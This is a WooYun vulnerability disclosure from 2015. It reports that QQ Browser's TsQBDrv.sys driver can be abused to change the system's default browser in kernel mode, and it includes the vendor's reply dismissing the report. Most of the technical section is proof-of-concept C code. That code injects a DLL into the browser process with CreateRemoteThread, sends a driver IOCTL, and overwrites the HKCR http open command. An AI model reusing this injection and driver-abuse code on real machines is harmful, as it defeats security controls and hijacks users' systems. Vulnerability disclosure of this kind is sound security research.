当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104359

漏洞标题:QQ浏览器某驱动提权漏洞

相关厂商:腾讯

漏洞作者: 路人甲

提交时间:2015-03-28 10:06

修复时间:2015-06-28 15:15

公开时间:2015-06-28 15:15

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-28: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-24: 细节向核心白帽子及相关领域专家公开
2015-06-03: 细节向普通白帽子公开
2015-06-13: 细节向实习白帽子公开
2015-06-28: 细节向公众公开

简要描述:

TsQBDrv.sys对调用者的调用路径没有检查,被恶意利用后,会以内核模式将系统默认浏览器修改为任意程序,由于是内核模式修改注册表,能够绕过系统的所有安全限制,包括安全软件的防御,都会被突破,无论xp、win7都是如此,即使当前用户是user权限,也一样。

详细说明:

TsQBDrv.sys既不验证打开设备的用户是否具备管理员权限,也不对调用栈的合法性进行检查,使用硬代码将当前线程KTHREAD的PreviousMode改为KernelMode,帮助恶意调用者提权。
存在问题的代码段:

根源1.jpg


根源2.jpg


触发后效果:

exploit.jpg

漏洞证明:

exe代码:
int main(int argc, _TCHAR* argv[])
{
HANDLE hToken = NULL;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES* pTP = (TOKEN_PRIVILEGES*)malloc(0x100);
if(pTP)
{
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &(pTP->Privileges[0].Luid));
pTP->PrivilegeCount = 1;
pTP->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, pTP, 0, NULL, NULL);
free(pTP);
}
CloseHandle(hToken);
}
HWND hwnd = FindWindow(_T("QQBrowserMainFrame"), NULL);
DWORD dwPid = 0;
GetWindowThreadProcessId(hwnd, &dwPid);
HANDLE process = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION|PROCESS_CREATE_THREAD, FALSE, dwPid);
CHAR* pDll = (CHAR*)VirtualAllocEx(process, NULL, 100, MEM_COMMIT, PAGE_READWRITE);
CHAR* name = "c:\\proc.dll";
DWORD dwReturned = 0;
WriteProcessMemory(process, (LPVOID)pDll, (LPVOID)name, strlen(name)+1, &dwReturned);
DWORD tid = 0;
CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD)LoadLibraryA,
(LPVOID)pDll, 0, &tid);
return 0;
}
dll代码:
void Fuzz2(HANDLE hDev)
{
DWORD dwReturned = 0;
char input[0x1000] = { 0 };
char output[4] = { 0 };
DWORD d = 1;
memcpy(input, &d, 4);
DeviceIoControl(hDev,
0x00222030,
(LPVOID)input,
4,
(LPVOID)output,
4,
&dwReturned,
NULL);
LPCTSTR p = _T("C:\\WINDOWS\\SYSTEM32\\NOTEPAD.EXE");
SHSetValue(HKEY_CLASSES_ROOT, _T("http\\shell\\open\\command"),
NULL, REG_SZ, (LPCVOID)p, (_tcslen(p) + 1)*sizeof(TCHAR));
}
void Fuzz1()
{
LPCTSTR DevName = _T("\\\\.\\{2E46F324-829A-4d67-A552-8FC694D6617E}");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( (HANDLE)-1 != hDev)
{
Fuzz2(hDev);
CloseHandle(hDev);
}
}
BOOL DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (DLL_PROCESS_ATTACH == ul_reason_for_call)
{
Fuzz1();
}
return TRUE;
}


修复方案:

1.驱动对调用者的代码调用路径进行更为严格的检查;
2.驱动不要帮助应用层提权;

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-28 15:15

厂商回复:

非常感谢您的报告,经评估该问题并不存在,故此忽略。白帽子提供的demo是注入QQ浏览器进程,然后以QQ浏览器的身份调用驱动,并不是驱动没有身份验证。

最新状态:

暂无